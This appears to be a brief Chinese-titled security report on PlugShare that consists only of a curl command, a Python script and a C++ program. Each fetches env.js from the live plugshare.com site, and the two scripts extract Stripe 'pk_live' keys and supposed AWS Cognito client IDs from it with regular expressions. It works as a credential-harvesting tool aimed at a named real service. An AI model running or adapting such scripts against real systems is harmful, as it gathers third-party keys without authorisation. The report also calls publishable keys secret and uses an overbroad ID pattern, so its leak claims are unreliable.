PlugShare API 关键数据泄露安全评估报告

curl 'https://www.plugshare.com/env.js' \
-H 'sec-ch-ua-platform: "macOS"' \
-H 'Referer: https://www.plugshare.com/' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36' \
-H 'sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"' \
-H 'DNT: 1' \
-H 'sec-ch-ua-mobile: ?0'

import requests
import re

url = "https://www.plugshare.com/env.js"
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    "Referer": "https://www.plugshare.com/"
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
    js_content = response.text
    keys = re.findall(r"'(pk_live_[a-zA-Z0-9]+)'", js_content)  # 识别 Stripe 生产密钥
    aws_client_id = re.findall(r"'([a-zA-Z0-9_-]{20,})'", js_content)  # 识别 Cognito 客户端 ID

    print("发现的密钥信息：")
    print("\n".join(keys))
    print("AWS Cognito Client ID:", aws_client_id)
else:
    print("无法访问目标资源，可能已被修复。")

#include <iostream>
#include <curl/curl.h>
#include <regex>

size_t write_callback(void* contents, size_t size, size_t nmemb, std::string* output) {
    output->append((char*)contents, size * nmemb);
    return size * nmemb;
}

int main() {
    CURL* curl;
    CURLcode res;
    std::string response_data;

    curl = curl_easy_init();
    if (curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "https://www.plugshare.com/env.js");
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_data);
        res = curl_easy_perform(curl);
        curl_easy_cleanup(curl);

        if (res == CURLE_OK) {
            std::regex key_regex("'(pk_live_[a-zA-Z0-9]+)'");
            std::smatch match;
            if (std::regex_search(response_data, match, key_regex)) {
                std::cout << "发现 Stripe API Key: " << match.str(1) << std::endl;
            }
        } else {
            std::cout << "请求失败！" << std::endl;
        }
    }
    return 0;
}